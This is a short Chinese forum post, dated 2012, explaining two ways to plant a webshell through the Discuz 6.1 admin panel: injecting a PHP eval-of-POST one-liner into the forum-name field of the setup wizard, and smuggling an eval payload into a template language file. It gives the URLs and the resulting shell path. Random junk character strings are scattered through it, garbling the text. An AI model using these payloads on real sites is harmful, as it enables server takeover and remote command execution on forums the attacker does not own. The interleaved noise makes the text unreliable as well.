discuz6.1两种方法后台拿shell
9 g: W( q" N+ M( W8 x1 }, b好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下" d# _* B( T3 W
1:
% b: }5 W1 Y; C' `# s/ G* i: hhttp://127.0.0.1/discuz/admincp. ... zard&frames=yes
5 `5 j3 I1 ^9 e: f7 w% v \admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell8 j5 ]4 c# m# [' s" @$ M# d1 m
<?php eval($_POST[cmd]);?># v u) A4 t3 j/ A- k5 h
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
3 Q, m3 h. k' d7 x9 _ H
) I: h2 |+ o3 Y8 R' w: O% X. F5 B, a0 I, X" O1 ?% q' @
2:后台模板管理--默认模板套系--详情6 }/ k, N; p* S% j
templates/default/actions.lang.php9 @: g5 l! P/ f: q/ g
jhackj\\');eval($_POST[cmd])?>;//& r7 A3 L9 E0 F8 J
, l# N! G9 I ?2 ^0 U) h% a. N
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对